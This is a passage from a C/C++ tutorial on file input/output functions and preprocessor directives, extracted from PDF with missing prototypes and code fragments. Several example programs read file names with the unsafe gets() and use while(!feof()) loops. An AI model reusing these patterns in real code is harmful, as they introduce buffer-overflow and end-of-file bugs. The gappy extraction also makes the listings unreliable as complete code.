passed to the fgets() function, along with the file pointer fin that is associated with the opened
testfour.txt file.
- Meanwhile, each line read by the fgets() function is written to another opened text file called
testhree.txt that is associated with the file pointer fout. This is done by invoking the
fputs() function in line 58.
- The statement in line 60 prints the contents of each string on the screen so that you see the contents
of the testfour.txt file. You also can view the testhree.txt file content in a text editor
to make sure that the contents of the testfour.txt file have been copied to the
testhree.txt file.
- You can also read or write a block of data at a time. There are two C I/O functions, fread() and
fwrite(), that can be used to perform block I/O operations.
- The prototype for the fread() function is:
size_t fread(void *ptr, size_t size, size_t n,
FILE *stream);
- The ptr is a pointer to an array in which the data is stored. size indicates the size of each array
element. n specifies the number of elements to be read. stream is a file pointer that is associated
with the opened file for reading.
www.tenouk.com Page 14 of 34
- size_t is an integral type defined in the header file stdio.h. The fread() function returns
the number of elements actually read.
- The number of elements read by the fread() function should be equal to the value specified by
the third argument to the function, unless an error occurs or an EOF is encountered.
- The fread() function returns the number of elements that are actually read, if an error occurs or
an EOF is encountered.
- The prototype for the fwrite() function is:
size_t fwrite(const void *ptr, size_t size,
size_t n, FILE *stream);
- ptr references the array that contains the data to be written to an opened file pointed to by the file
pointer stream. size indicates the size of each element in the array. n specifies the number of
elements to be written.
- The fwrite() function returns the number of elements actually written.
- If there is no error occurring, the number returned by fwrite() should be the same as the third
argument in the function. The return value may be less than the specified value if an error occurs.
- That is the programmer’s responsibility to ensure that the array is large enough to hold data for
either the fread() function or the fwrite() function.
- In C, a function called feof() can be used to determine when the end of a file is encountered.
This function is more useful when you are reading a binary file because the values of some bytes
may be equal to the value EOF.
- If you determine the end of a binary file by checking the value returned by fread(), you may end
up at the wrong position.
- Using the feof() function helps you to avoid mistakes in determining the end of a file. The
prototype for the feof() function is:
- Here, stream is the file pointer that is associated with an opened file. The feof() function
returns 0 if the end of the file has not been reached, otherwise, it returns a nonzero integer.
- Let take a look at the program example. Create two files named it testfive.txt and
testsix.txt in C:\Temp folder or other folder that you choose provided that you provide the
full path strings in the program. Write the following texts into testsix.txt file and save it.
www.tenouk.com Page 15 of 34
22.
23. //test opening testfive.txt file for writing, if fail...
24. if((fptr1 = fopen(filename1, "w")) == NULL)
25. {
26. reval = ErrorMsg(filename1);
27. }
28.
29. //test opening testsix.txt file for reading, if fail...
30. else if ((fptr2 = fopen(filename2, "r")) == NULL)
31. {
32. reval = ErrorMsg(filename2);
33. }
34. //if opening files for writing and reading is successful, do...
35. else
36. {
37. //call function for reading and writing
38. BlockReadWrite(fptr2, fptr1);
39. //close both files streams...
40. if(fclose(fptr1)==0)
41. printf("%s successfully closed\n", filename1);
42. if(fclose(fptr2)==0)
43. printf("%s successfully closed\n", filename2);
44. }
45. printf("\n");
46. //for Borland...
47. system("pause");
48. return reval;
49. }
50.
51. //function definition for block read, write
52. void BlockReadWrite(FILE *fin, FILE *fout)
53. {
54. int num;
55. char buff[MAX_LEN + 1];
56. //while not end of file for input file, do...
57. while(!feof(fin))
58. {
59. //reading...
60. num = fread(buff, sizeof(char), MAX_LEN, fin);
61. //append a null character
62. buff[num * sizeof(char)] = '\0';
63. printf("%s", buff);
64. //writing...
65. fwrite(buff, sizeof(char), num, fout);
66. }
67. }
68.
69. //function definition for error message
70. int ErrorMsg(char *str)
71. {
72. //display the error message...
73. printf("Problem, cannot open %s.\n", str);
74. return FAIL;
75. }
75 lines: Output:
- Note the use of fread() and fwrite() functions in the program. This program shows you how
to invoke the fread() and fwrite() to perform block I/O operations.
www.tenouk.com Page 16 of 34
- The testsix.txt file is read by the fread() function, and the fwrite() function used to
write the contents read from testsix.txt to another file called testfive.txt.
- Before this you have learned how to read or write data sequentially. In many cases, however, you
may need to access particular data somewhere in the middle of a disk file.
- Random access is another way to read and write data to disk file. Specific file elements can be
accessed in random order.
- There are two C I/O functions, fseek() and ftell(), that are designed to deal with random
access.
- You can use the fseek() function to move the file position indicator to the spot you want to
access in a file. The prototype for the fseek() function is:
- stream is the file pointer with an opened file. offset indicates the number of bytes from a
fixed position, specified by whence, that can have one of the following integral values represented
by SEEK_SET, SEEK_CUR and SEEK_END.
- If it is successful, the fseek() function return 0, otherwise the function returns a nonzero value.
- whence provides the offset bytes from the file location. whence must be one of the values 0, 1,
or 2 which represent three symbolic constants (defined in stdio.h) as follows:
- If SEEK_SET is chosen as the third argument to the fseek() function, the offset is counted from
the beginning of the file and the value of the offset is greater than or equal to zero.
- If however, SEEK_END is picked up, then the offset starts from the end of the file, the value of the
offset should be negative.
- When SEEK_CUR is passed to the fseek() function, the offset is calculated from the current
value of the file position indicator.
- You can obtain the value of the current position indicator by calling the ftell() function. The
prototype for the ftell() function is,
- stream is the file pointer associated with an opened file. The ftell() function returns the
current value of the file position indicator.
- The value returned by the ftell() function represents the number of bytes from the beginning of
the file to the current position pointed to by the file position indictor.
- If the ftell() function fails, it returns –1L (that is, a long value of minus 1). Let explore the
program example. Create and make sure text file named tesseven.txt is located in the
C:\Temp folder before you can execute the program. The contents of the tesseven.txt is,
www.tenouk.com Page 17 of 34
9. //function prototype, tell the file position indicator…
10. long PtrTell(FILE *fptr);
11. //function prototype read and writes…
12. void DataRead(FILE *fptr);
13. int ErrorMsg(char *str);
14.
15. int main(void)
16. {
17. FILE *fptr;
18. char filename[] = "c:\\Temp\\tesseven.txt";
19. int reval = SUCCESS;
20.
21. //if there is some error opening file for reading…
22. if((fptr = fopen(filename, "r")) == NULL)
23. {
24. reval = ErrorMsg(filename);
25. }
26. //if opening is successful…
27. else
28. {
29. //PtrSeek() function call…
30. PtrSeek(fptr);
31. //close the file stream…
32. if(fclose(fptr)==0)
33. printf("%s successfully closed.\n", filename);
34. }
35. //for Borland...
36. system("pause");
37. return reval;
38. }
39.
40. //PtrSeek() function definition
41. void PtrSeek(FILE *fptr)
42. {
43. long offset1, offset2, offset3, offset4;
44.
45. offset1 = PtrTell(fptr);
46. DataRead(fptr);
47. offset2 = PtrTell(fptr);
48. DataRead(fptr);
49. offset3 = PtrTell(fptr);
50. DataRead(fptr);
51. offset4 = PtrTell(fptr);
52. DataRead(fptr);
53.
54. printf("\nReread the tesseven.txt, in random order:\n");
55. //reread the 2nd line of the tesseven.txt
56. fseek(fptr, offset2, SEEK_SET);
57. DataRead(fptr);
58. //reread the 1st line of the tesseven.txt
59. fseek(fptr, offset1, SEEK_SET);
60. DataRead(fptr);
61. //reread the 4th line of the tesseven.txt
62. fseek(fptr, offset4, SEEK_SET);
63. DataRead(fptr);
64. //reread the 3rd line of the tesseven.txt
65. fseek(fptr, offset3, SEEK_SET);
66. DataRead(fptr);
67. }
68.
69. //PtrTell() function definition
70. long PtrTell(FILE *fptr)
71. {
72. long reval;
73. //tell the fptr position…
74. reval = ftell(fptr);
75. printf("The fptr is at %ld\n", reval);
76. return reval;
77. }
78.
79. //DataRead() function definition
80. void DataRead(FILE *fptr)
81. {
82. char buff[MAX_LEN];
83. //reading line of text at the fptr position…
84. fgets(buff, MAX_LEN, fptr);
85. //and display the text…
86. printf("-->%s\n", buff);
87. }
88.
www.tenouk.com Page 18 of 34
89. //Error message function definition
90. int ErrorMsg(char *str)
91. {
92. //display this error message…
93. printf("Problem, cannot open %s.\n", str);
94. return FAIL;
95. }
95 lines: Output:
- We try to open the tesseven.txt file for reading by calling the fopen() function. If
successful, we invoke the PtrSeek() function with the fptr file pointer as the argument in line
30.
PtrSeek(fptr);
- The definition of our first function PtrSeek() is shown in lines 41-67. The statement in line 45
obtains the original value of the fptr file pointer by calling another function, PtrTell(), which
is defined in lines 70–77.
- The PtrTell() function can find and print out the value of the file position indicator with the
help of the ftell() function.
- The third function, DataRead() is called to read one line of characters from the opened file and
print out the line of characters on the screen. Line 47 gets the new value of the fptr file position
indicator right after the reading and assigns the value to another long variable, offset2.
- Then the DataRead() function in line 48 reads the second line of characters from the opened
file. Line 49 obtains the value of the file position indicator that points to the first byte of the third
line and assigns the value to the third long variable offset3 and so on for the fourth line of text.
- Line 50 calls the DataRead() function to read the third line and print it out on the screen.
- From the first portion of the output, you can see the four different values of the file position
indicator at four different positions, and the four lines of texts. The four values of the file position
indicator are saved by offset1, offset2, offset3 and offset4 respectively.
- Then, we read the lines of text randomly, one line at a time. Firstly read the second line, then the
first line, fourth and finally the third one.
- C function, called rewind(), can be used to rewind the file position indicator. The prototype for
the rewind() function is:
- Here, stream is the file pointer associated with an opened file. No value is returned by
rewind() function. In fact the following statement of rewind() function:
www.tenouk.com Page 19 of 34
rewind(fptr);
- Is equivalent to this:
- The void data type is cast to the fseek() function because the rewind() function does not
return a value. Study the following program example.
- This program also contains example of reading and writing binary data. We create and open the
teseight.bin file for writing.
www.tenouk.com Page 20 of 34
67. }
68.
69. //ErrorMsg() function definition
70. int ErrorMsg(char *str)
71. {
72. printf("Cannot open %s.\n", str);
73. return FAIL;
74. }
74 lines
Output:
- This program writes five values of the double data type into a binary file named
teseight.bin and then rewind the file position indicator and re read the five double values
from the binary file.
- The two functions, DataWrite() and DataRead(), that perform the writing and reading,
declared in lines 8 and 9. The enum names, SUCCESS, FAIL, and MAX_NUM, are defined in line 5
with values 0, 1, and 5 respectively.
- The statement in line 20, tries to create and open a binary file called teseight.bin for both
reading and writing.
- If the fopen() function is successful, the DataWrite() function is called in line 27 to write
four double data items, into the opened binary file, according to the definition of the
DataWrite() function.
- The fwrite() function in line 51 does the writing. Right after the execution of the
DataWrite() function, the file position indicator is reset to the beginning of the binary file by
calling the rewind() function in line 29 because we want to re read all five double data items
written to the file.
- The fread() function is used to perform the reading operation. The output from running the
program shows the five double data items before the writing and after the reading as well.
- As you learned, two C library functions scanf() and printf() can be used to read or write
formatted data through the standard I/O (that is, stdin and stdout). For C disk file I/O
functions, there are two equivalent functions; fscanf() and fprintf() functions allow the
programmer to specify I/O streams.
- The prototype for the fscan() function is:
- stream is the file pointer associated with an opened file. format, which usage is the same as in
the scanf() function, is a char pointer pointing to a string that contains the format specifiers. If
successful, the fscan() function returns the number of data items read. Otherwise, the function
returns EOF.
- The prototype for the fprintf() function is:
www.tenouk.com Page 21 of 34
- Here, stream is the file pointer associated with an opened file. format, whose usage is the same
as in the printf() function, is a char pointer pointing to a string that contains the format
specifiers.
- If successful, the fprintf() function returns the number of formatted expressions. Otherwise,
the function returns a negative value.
- Let try a program example. Firstly create testcal.txt file with the following data and save it.
23 12 33 10 4 6 44 31 7 50
- Then create another text file named testavg.txt for writing the average value computed from
data read from testcal.txt file. Then compile and run the following program.
int main(void)
{
int value, total = 0, count = 0;
/*fscanf*/
printf("\nCalculate the total...\n");
while(EOF != fscanf(fileptrIn, "%i", &value))
{
total += value;
++count;
}/*end of while loop*/
if(fclose(fileptrIn) == 0)
printf("%s closed successfully\n", filenameIn);
if(fclose(fileptrOut) == 0)
printf("%s closed successfully\n", filenameOut);
return 0;
}
Output:
www.tenouk.com Page 22 of 34
9.8 Redirecting The Standard Streams With freopen()
- We will discuss how to redirect the standard streams, such as stdin and stdout, to disk files.
We can use freopen() function, which can associate a standard stream with a disk file.
- The prototype for the freopen() function is:
- filename is a char pointer referencing the name of a file that you want to associate with the
standard stream represented by stream.
- mode is another char pointer pointing to a string that defines the way to open a file. The values
that mode can have in freopen() are the same as the mode values in the fopen() function.
- The freopen() function returns a null pointer if an error occurs. Otherwise, the function returns
the standard stream that has been associated with a disk file identified by filename.
- Let try a program example.
www.tenouk.com Page 23 of 34
39.
40. //StrPrint() function definition
41. void StrPrint(char **str)
42. {
43. int i;
44. for(i=0; i<STR_NUM; i++)
45. //to standard output-screen/console...
46. printf("%s\n", str[i]);
47. system("pause");
48. }
49.
50. //ErrorMsg() function definition
51. int ErrorMsg(char *str)
52. {
53. printf("Problem, cannot open %s.\n", str);
54. return FAIL;
55. }
55 lines: Output:
- Notice that the last line in the output is NULL, why? Because NULL is appended at the end of the
string. We enumerate STR_NUM = 6, but there are only 5 lines of text, if you don’t want to see
the NULL, change STR_NUM = 5.
- The purpose of this program is to save a paragraph, consist of five lines of text, into a text file,
testnine.txt. We call the printf() function instead of the fprintf() function or other disk I/O
functions after we redirect the default stream, stdout, of the printf() function to point to the text
file.
- The function that actually does the writing is called StrPrint(), which invoke the C function
printf() to send out formatted character strings to the output stream.
- In main() function, we call the StrPrint() function in line 33 before we redirect stdout to the
testnine.txt file. The paragraph is printed on the screen because the printf() function
automatically sends out the paragraph to stdout that directs to the screen by default.
- Then in line 26, we redirect stdout to the testnine.txt text file by calling the freopen()
function. The "w" is used as the mode that indicates to open the text file for writing.
- If freopen() is successful, we then call the StrPrint() function in line 33. However, this
time, the StrPrint() function writes the paragraph into the opened text file, testnine.txt.
The reason is that stdout is now associated with the text file, not the screen.
- There is a set of low-level I/O functions, such as open(), create(), close(), read(),
write(), lseek() and tell() that you may still see them in some platform-dependent C
programs.
- It refers to dealing with existing files, not reading or writing to them, but renaming, deleting and
copying them. Normally the file management functions are provided in the standard library
function. Again, do not reinvent the wheels :o).
- We use function remove() to delete a file. Its prototype is in stdio.h file and the prototype is
as follows:
www.tenouk.com Page 24 of 34
- The variable filename is a pointer to the name of the file to be deleted. The specified file must
not be opened. If the file exists, it is deleted (just as if the del in DOS and rm command in
UNIX), and remove() return 0.
- If the file doesn’t exist, if it’s read only, if you don’t have sufficient access rights or permission, or
if some other error occurs, remove() return –1. Be careful if you remove a file, it is gone
forever.
- Let try a program example.
19 lines: Output:
- This program prompts the user on line 10 for the file name to be deleted. Line 14 then calls
remove() to delete the entered file. If the return value is 0, the file was removed, and a message
is displayed stating this fact. If the return value is not zero, an error occurred, and the file was not
removed.
- The rename() function changes the name of an existing disk file. The function prototype, in
stdio.h, is as follows:
- Both names must refer to the same disk drive; you can’t rename a file to a different disk drive
means if the old name is in drive C:\test.txt, you can’t rename it to D:\testnew.txt.
- The function rename() returns 0 on success, or –1 if an error occurs. Errors can be caused by the
following conditions (among others):
www.tenouk.com Page 25 of 34
9. printf("Enter current filename: ");
10. gets(oldname);
11. printf("Enter new name for file: ");
12. gets(newname);
13.
14. if(rename(oldname, newname) == 0)
15. {
16. printf("%s has been rename %s.\n", oldname, newname);
17. }
18. else
19. {
20. fprintf(stderr, "An error has occurred renaming %s.\n", oldname);
21. }
22. system("pause");
23. }
23 lines: Output:
- This program example, with only 23 lines of code, replaces an operating system command
rename, and it’s a much friendlier function. Line 9 prompts for the name of the file to be
renamed. Line 11 prompts for the new filename.
- The if statement checks to ensure that the renaming of the file was carried out correctly. If so, line
16 prints an affirmative message, otherwise, line 20 prints a message stating that there was an error.
- Copying a file performs an exact duplicate with a different name (or with the same name but in a
different drive or directory). There are no library functions; you have to write your own.
- The steps:
0. Open the source file for reading in binary mode, using binary mode ensures that the
function can copy all sorts of content, not just texts.
0. Open the destination file for writing in binary mode.
0. Read a character from the source file. When a file is first opened, the pointer is at the start
of the file, so there is no need to position the file pointer explicitly.
0. If the function feof() indicates that you’re reached the end of the source file, you’re
done and can close both files and return to the calling program.
0. If you haven’t reached end-of-file, write the character to the destination file, and then loop
back to step 3.
1. //Copying a file
2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. int file_copy(char *oldname, char *newname);
6.
7. void main()
8. {
9. char source[80], destination[80];
10.
11. //get the source and destination names
12. printf("\nEnter source file: ");
13. gets(source);
14. printf("\nEnter destination file: ");
15. gets(destination);
16.
17. if(file_copy(source, destination) == 0)
18. puts("Copy operation successful");
19. else
20. fprintf(stderr, "Error during copy operation");
www.tenouk.com Page 26 of 34
21. system("pause");
22. }
23.
24. int file_copy(char *oldname, char *newname)
25. {
26. FILE *fold, *fnew;
27. int c;
28.
29. //Open the source file for reading in binary mode
30. if((fold = fopen(oldname, "rb")) == NULL)
31. return -1;
32. //Open the destination file for writing in binary mode
33. if((fnew = fopen(newname, "wb" )) == NULL)
34. {
35. fclose(fold);
36. return -1;
37. }
38.
39. //Read one byte at a time from the source, if end of file
40. //has not been reached, write the byte to the destination
41. while(1)
42. {
43. c = fgetc(fold);
44.
45. if(!feof(fold))
46. fputc(c, fnew);
47. else
48. break;
49. }
50. fclose(fnew);
51. fclose(fold);
52. return 0;
53. }
53 lines: Output:
- The file_copy() function let you copy anything from a small text file to a huge program file.
But for this program, if the destination file already exists, the function overwrites it without asking.
- Lines 24 through 37 create a copy function. Line 30 open the source file, pointed by fold pointer,
in binary read mode.
- Line 33 open the destination file, pointed by fnew pointer, in binary write mode. Line 35 closes
the source file if there is an error opening the destination file. The while loop does the actual
copying of the file. Line 43 gets a character from the source file, pointed by fold pointer assign to
the variable c.
- Line 45 tests to see whether the end-of-line marker was read. If the end of the file has been
reached, a break statement is executed in order to get out of the while loop in line 48.
- If the end of the file has not been reached, the character is written to the destination file, pointed by
fnew pointer in line 46.
- For C++ file I/O it is discussed in Module 19.
- The following is a previous C program example, read and write files under the current working
directory using gcc. Create 2 files named testhree.txt and testfour.txt under the
current working directory and save some texts in the testfour.txt.
/***************readline.c************
/*Reading and writing one line at a time*/
#include <stdio.h>
#include <stdlib.h>
www.tenouk.com Page 27 of 34
int main(void)
{
FILE *fptr1, *fptr2;
/*file testhree.txt is located at current directory.
you can put this file at any location provided
you provide the full path, same for testfour.txt*/
------------------LINUX LOR!------------------------
------------FEDORA 3, gcc x.x.x--------------------
OPENING, READING, WRITING one line of characters
----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------
- Another program example for non-current directory files location. Our program under
/home/bodo/ directory but we try to create teseight.bin under /testo1/testo2/ directory.
You must have root privilege to create files in this case.
////////////rwbinary.c///////////
/////FEDORA 3, gcc x.x.x/////
www.tenouk.com Page 28 of 34
//Reading, writing, rewind and binary data
#include <stdio.h>
//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
int ErrorMsg(char *str);
int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "/testo1/testo2/teseight.bin";
int reval = SUCCESS;
www.tenouk.com Page 29 of 34
987.23
Further readings
- The following sections compiled from GNU glibc library documentation, provide a summary and
other collections that you may interested☺ related to file I/O. Sockets will be discussed in another
Module. It looks that the file attributes also not discussed here.
- The following Table describes functions for performing character and line-oriented output.
- These narrow streams functions are declared in the header file stdio.h and the wide stream
functions in wchar.h.
www.tenouk.com Page 30 of 34
character of the string is not written. (Note that fputs does not write a newline as this function does.)
puts is the most convenient function for printing simple messages. For example:
puts("This is a message.");
B. Character Input
- This section describes functions for performing character-oriented input. These narrow streams
functions are declared in the header file stdio.h and the wide character functions are declared in
wchar.h.
- These functions return an int or wint_t value (for narrow and wide stream functions
respectively) that is either a character of input, or the special value EOF/WEOF (usually -1). For the
narrow stream functions it is important to store the result of these functions in a variable of type
int instead of char, even when you plan to use it only as a character.
- Storing EOF in a char variable truncates its value to the size of a character, so that it is no longer
distinguishable from the valid character (char) -1.
- So always use an int for the result of getc and friends, and check for EOF after the call; once
you've verified that the result is not EOF, you can be sure that it will fit in a char variable without
loss of information.
- An example of a function that does input using fgetc, it would normally work just as well using
getc() instead, or using getchar() instead of fgetc(stdin). The code would also work
for the wide character stream functions as well.
C. Line-Oriented Input
- Since many programs interpret input on the basis of lines, it is convenient to have functions to read
a line of text from a stream. Standard C functions for these tasks aren't very safe: null characters
and even (for gets()) long lines can confuse them.
www.tenouk.com Page 31 of 34
- This vulnerability creates exploits through buffer overflows. That is why you see warning
everywhere; you may check your implementation documentation for safer version of those
functions. All these functions are declared in stdio.h.
D. Block Input/Output
- This section describes how to do the input and output operations on blocks of data. You can use
these functions to read and write binary data, as well as to read and write text in fixed size blocks
instead of by characters or lines.
- Binary files are typically used to read and write blocks of data in the same format as is used to
represent the data in a running program.
- In other words, arbitrary blocks of memory, not just character or string objects, can be written to a
binary file, and meaningfully read in again by the same program.
- Storing data in binary form is often considerably more efficient than using the formatted I/O
functions.
- Also, for floating-point numbers, the binary form avoids possible loss of precision in the conversion
process. On the other hand, binary files can't be examined or modified easily using many standard
file utilities (such as text editors), and are not portable between different implementations of the
language, or different kinds of computers.
- These functions are declared in stdio.h.
www.tenouk.com Page 32 of 34
Table 9.14: Block oriented I/O functions
- Directories are created with the mkdir function. There is also a shell command mkdir which
does the same thing.
- A pipe is a mechanism for interprocess communication; data written to the pipe by one process
can be read by another process. The data is handled in a first-in, first-out (FIFO) order. The pipe has
no name; it is created for one use and both ends must be inherited from the single process which
created the pipe.
- A FIFO special file is similar to a pipe, but instead of being an anonymous, temporary
connection, a FIFO has a name or names like any other file. Processes open the FIFO by name in
order to communicate through it.
www.tenouk.com Page 33 of 34
- A pipe or FIFO has to be open at both ends simultaneously. If you read from a pipe or FIFO file
that doesn't have any processes writing to it (perhaps because they have all closed the file, or
exited), the read returns end-of-file.
- Writing to a pipe or FIFO that doesn't have a reading process is treated as an error condition; it
generates a SIGPIPE signal, and fails with error code EPIPE if the signal is handled or blocked.
- Neither pipes nor FIFO special files allow file positioning. Both reading and writing operations
happen sequentially; reading from the beginning of the file and writing at the end.
--------------------------------o0o-------------------------------------
www.tenouk.com Page 34 of 34
MODULE 10
PREPROCESSOR DIRECTIVES
Abilities
10.1 Introduction
- For C/C++ preprocessor, preprocessing occurs before a program is compiled. A complete process
involved during the preprocessing, compiling and linking can be read in Module W.
- Some possible actions are:
- All preprocessor directives begin with #, and only white space characters may appear before a
preprocessor directive on a line.
- The #include directive causes copy of a specified file to be included in place of the directive. The
two forms of the #include directive are:
- Or
#include "header_file"
- If the file name is enclosed in double quotes, the preprocessor searches in the same directory (local) as
the source file being compiled for the file to be included, if not found then looks in the subdirectory
associated with standard header files as specified using angle bracket.
- This method is normally used to include user or programmer-defined header files.
- If the file name is enclosed in angle brackets (< and >), it is used for standard library header files, the
search is performed in an implementation dependent manner, normally through designated directories
such as C:\BC5\INCLUDE for Borland C++ (default installation) or directories set in the
programming (compiler) environment, project or configuration. You have to check your compiler
documentation. Compilers normally put the standard header files under the INCLUDE directory or
subdirectory.
- The #include directive is normally used to include standard library such as stdio.h and
iostream or user defined header files. It also used with programs consisting of several source files
that are to be compiled together. These files should have common declaration, such as functions,
classes etc, that many different source files depend on those common declarations.
- A header file containing declarations common to the separate program files is often created and
included in the file using this directive. Examples of such common declarations are structure
www.tenouk.com Page 1 of 17
(struct) and union (union) declarations, enumerations (enum), classes, function prototypes, types
etc.
- Other variation used in UNIX system is by providing the relative path as follows:
#include "/usr/local/include/test.h"
- This means search for file in the indicated directory, if not found then look in the subdirectory
associated with the standard header file.
#include "sys/test1.h"
- This means, search for this file in the sys subdirectory under the subdirectory associated with the
standard header file.
- Remember that from Module 9, '. ' (dot) means current directory and '..' (dot dot) means parent
directory.
- The #define directive creates symbolic constants, constants that represented as symbols and macros
(operations defined as symbols). The format is as follows:
- When this line appears in a file, all subsequent occurrences of identifier will be replaced by the
replacement-text automatically before the program is compiled. For example:
#define PI 3.14159
- Replaces all subsequent occurrences of the symbolic constant PI with the numeric constant
3.14159. const type qualifier also can be used to declare numeric constant that will be discussed in
another Module.
- Symbolic constants enable the programmer to create a name for a constant and use the name
throughout the program, the advantage is, it only need to be modified once in the #define directive,
and when the program is recompiled, all occurrences of the constant in the program will be modified
automatically, making writing the source code easier in big programs.
- That means everything, to the right of the symbolic constant name replaces the symbolic constant.
- Other #define examples include the stringizing as shown below:
- Wherever CIR_AREA(x) appears in the file, the value of x is substituted for x in the replacement
text, the symbolic constant PI is replaced by its value (defined previously), and the macro is expanded
in the program. For example, the following statement:
area = CIR_AREA(4);
- Is expanded to
www.tenouk.com Page 2 of 17
area = 3.14159*(4)*(4);
- Since the expression consists only of constants, at compile time, the value of the expression is
evaluated and assigned to variable area.
- The parentheses around each x in the replacement text, force the proper order of evaluation when the
macro argument is an expression. For example, the following statement:
- Is expanded to:
- This evaluates correctly because the parentheses force the proper order of evaluation. If the
parentheses are omitted, the macro expression is:
area = 3.14159*y+2*y+2;
area = (3.14159 * y) + (2 * y) + 2;
- Because of the operator precedence rules, you have to be careful about this.
- Macro CIR_AREA could be defined as a function. Let say, name it a circleArea:
double circleArea(double x)
{
return (3.14159*x*x);
}
- Performs the same calculation as macro CIR_AREA, but here the overhead of a function call is
associated with circleArea function.
- The advantages of macro CIR_AREA are that macros insert code directly in the program, avoiding
function overhead, and the program remains readable because the CIR_AREA calculation is defined
separately and named meaningfully. The disadvantage is that its argument is evaluated twice.
- Another better alternative is using the inline function, by adding the inline keyword.
- The following is a macro definition with 2 arguments for the area of a rectangle:
- Wherever RECTANGLE_AREA(p, q) appears in the program, the values of p and q are substituted
in the macro replacement text, and the macro is expanded in place of the macro name. For example,
the statement:
rectArea = (a+4)*(b+7);
#define RECTANGLE_AREA(p, q) \
www.tenouk.com Page 3 of 17
(p)*(q)
- Symbolic constants and macros can be discarded by using the #undef preprocessor directive.
Directive #undef un-defines a symbolic constant or macro name.
- The scope of a symbolic constant or macro is from its definition until it is undefined with #undef, or
until the end of the file. Once undefined, a name can be redefined with #define.
- Functions in the standard library sometimes are defined as macros based on other library functions. For
example, a macro commonly defined in the stdio.h header file is:
- The macro definition of getchar() uses function getc() to get one character from the standard
input stream. putchar() function of the stdio.h header, and the character handling functions of
the ctype.h header implemented as macros as well.
- A program example.
#include <iostream.h>
#include <stdlib.h>
#define THREETIMES(x) (x)*(x)*(x)
#define CIRAREA(y) (PI)*(y)*(y)
#define REC(z, a) (z)*(a)
#define PI 3.14159
int main(void)
{
float p = 2.5;
float r = 3.5, s, t, u = 1.5, v = 2.5;
s = CIRAREA(r+p);
cout<<"Circle area = PI*r*r = "<<s<<endl;
t = REC(u, v);
cout<<"Rectangle area = u*v = "<<t<<endl;
system("pause");
return 0;
}
Output:
- In another Module you we will discuss the inline function that is a better construct used in C++
compared to macros.
- Enable the programmer to control the execution of preprocessor directives, and the compilation of
program code.
- Each of the conditional preprocessor directives evaluates a constant integer expression. Cast
expressions, sizeof() expressions, and enumeration constants cannot be evaluated in preprocessor
directives.
- The conditional preprocessor construct is much like the if selection structure. Consider the following
preprocessor code:
#if !defined(NULL)
#define NULL 0
#endif
www.tenouk.com Page 4 of 17
- These directives determine whether the NULL is defined or not. The expression defined(NULL)
evaluates to 1 if NULL is defined; 0 otherwise. If the result is 0, !defined(NULL) evaluates to 1,
and NULL is defined.
- Otherwise, the #define directive is skipped. Every #if construct ends with #endif. Directive
#ifdef and #ifndef are shorthand for #if defined(name) and #if !defined(name).
- A multiple-part conditional preprocessor construct may be tested using the #elif (the equivalent of
else if in an if structure) and the #else (the equivalent of else in an if structure) directives.
- During program development, programmers often find it helpful to comment out large portions of code
to prevent it from being compiled but if the code contains comments, /* and */ or //, they cannot be
used to accomplish this task.
- Instead, the programmer can use the following preprocessor construct:
#if 0
code prevented from compiling...
#endif
#ifdef DEBUG
printf("Variable x = %d\n", x);
#endif
- The code causes a printf() statement to be compiled in the program if the symbolic constant
DEBUG has been defined (#defined DEBUG) before directive #ifdef DEBUG.
- When debugging is completed, the #define directive is removed from the source file, and the
printf() statements inserted for debugging purpose are ignored during compilation. In larger
programs, it may be desirable to define several different symbolic constants that control the conditional
compilation in separate sections of the source file.
- A program example.
#define Module10
#define MyVersion 1.1
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
cout<<"Sample using #define, #ifdef, #ifndef\n";
cout<<" #undef, #else and #endif...\n";
cout<<"-------------------------------------\n";
#ifdef Module10
cout<<"\nModule10 is defined.\n";
#else
cout<<"\nModule10 is not defined.\n";
#endif
#ifndef MyVersion
cout<<"\nMyVersion is not defined\n";
#else
cout<<"\nMyVersion is "<<MyVersion<<endl;
#endif
#ifdef MyRevision
cout<<"\nMy Revision is defined\n"<<endl;
#else
cout<<"\nMyRevision is not defined!\n"<<endl;
#endif
#undef MyVersion
#ifndef MyVersion
cout<<"MyVersion is not defined\n"<<endl;
#else
cout<<"MyVersion is "<<MyVersion<<endl;
www.tenouk.com Page 5 of 17
#endif
system("pause");
return 0;
}
Output:
- If you check the header file definition, the conditional compilation directives heavily used as guard
macro to guard the header files against multiple inclusion or filename redefinition.
- For example, create the following header file named boolean.h and save it in the same folder as
your main() source file that follows. Do not compile and run.
#define BOOLEAN_H
#endif
- This file defines the type and constants for the boolean logic if boolean.h has not been defined.
- Then create the following program, compile and run.
int main(void)
{
//new type stored in boolean.h...
boolean HappyTime;
HappyTime = TRUE;
Output:
www.tenouk.com Page 6 of 17
- Let say we want to define a vehicle class in header file named vehicle.h. By using the conditional
directives, we can avoid the multiple inclusion of this file when there are multiple #include
<vehicle.h> directives in multiple files in the same program.
#ifndef VEHICLE_H
#define VEHICLE_H
//The file is compiled only when VEHICLE_H is not defined.
//The first time the file is included using #include <vehicle.h>,
//the macro is not defined, then it is immediately defined.
//Next time, if the same inclusion of the vehicle.h or
//by other source file with the same vehicle.h, needs to be
//included in the same program, the macro and conditional directives
//ensure that the file inclusion is skipped…
class vehicle{...};
#endif
//end of the vehicle.h
- The usage of the multiple inclusions of similar header files is discussed in Module 14.
#error tokens
- In Borland C++, when a #error directive is processed, the tokens in the directive are displayed as an
error message, preprocessing stops, and the program does not compile. For example:
//#error directive...
#include <stdio.h>
#include <stdlib.h>
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif
int main()
{
system("pause");
return 0;
}
//No output, error message during the
//compilation
www.tenouk.com Page 7 of 17
- Then correct the error by defining MyVal to 2 as the following program and when you rebuild, it
should be OK.
//#error directive...
#include <stdio.h>
#include <stdlib.h>
#define MyVAL 2
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif
int main()
{
system("pause");
return 0;
}
//No output
//#error directive...
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("pause");
return 0;
}
//No output, with error message during
//the compilation
#pragma tokens
- The tokens are a series of characters that gives a specific compiler instruction and arguments, if any
and causes an implementation-defined action. A pragma not recognized by the implementation is
